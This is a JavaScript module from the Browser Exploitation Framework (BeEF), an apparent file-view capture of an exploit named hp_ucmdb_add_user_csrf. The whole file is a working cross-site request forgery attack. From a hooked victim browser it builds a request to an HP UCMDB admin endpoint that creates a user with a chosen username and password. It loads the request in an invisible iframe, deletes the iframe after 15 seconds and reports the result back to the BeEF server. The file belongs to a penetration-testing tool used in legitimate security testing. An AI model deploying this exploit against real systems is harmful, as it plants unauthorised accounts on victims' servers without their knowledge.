Files
beef/modules/exploits/hp_ucmdb_add_user_csrf/command.js
2025-12-26 19:18:05 +10:00

33 lines
1.0 KiB
JavaScript

/*
* Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
* Browser Exploitation Framework (BeEF) - https://beefproject.com
* See the file 'doc/COPYING' for copying permission
*/
beef.execute(function() {
var protocol = '<%= @protocol %>';
var host = '<%= @host %>';
var port = '<%= @port %>';
var usertype = '<%= @usertype %>';
var customerid = '<%= @customerid %>';
var username = '<%= @username %>';
var password = '<%= @password %>';
var url = protocol + '://' + host + ':' + port + '/' + 'HtmlAdaptor?action=invokeOpByName&name=UCMDB:service=Security%20Services&methodName=' + usertype;
url += '&arg0=' + customerid + '&arg1=' + username + '&arg2=' + password;
if (usertype == 'createIntegrationUser'){
url += '&arg3=';
}
var ucmdb_iframe = beef.dom.createInvisibleIframe();
ucmdb_iframe.setAttribute('src', url);
cleanup = function() {
document.body.removeChild(ucmdb_iframe);
}
setTimeout("cleanup()", 15000);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed");
});